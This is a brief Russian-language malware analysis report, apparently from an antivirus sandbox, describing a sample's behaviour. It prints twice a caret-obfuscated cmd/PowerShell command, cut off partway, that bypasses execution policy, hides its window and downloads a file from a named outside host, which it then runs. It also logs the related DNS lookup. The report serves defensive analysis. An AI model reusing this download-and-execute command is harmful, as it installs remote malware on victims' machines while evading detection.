Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://transporingsytw.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POW^ERsH^el^l.e^xE ^-ExEcUtIoNPoL^I^cY^ BY^Pa^s^s -^n^O^pRo^FI^le^ ^-W^IN^DOw^stY^LE ^HI^Dd^e^N^ (^neW-^O^Bj^ecT^ SYSTEM.^neT.^W^EB^CLI^Ent).DoWNlO^A^dFIle(^'http://transporin...
Сетевая активность
UDP
- DNS ASK tr#####ringsytw.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POW^ERsH^el^l.e^xE ^-ExEcUtIoNPoL^I^cY^ BY^Pa^s^s -^n^O^pRo^FI^le^ ^-W^IN^DOw^stY^LE ^HI^Dd^e^N^ (^neW-^O^Bj^ecT^ SYSTEM.^neT.^W^EB^CLI^Ent).DoWNlO^A^dFIle(^'http://transporin...' (со скрытым окном)
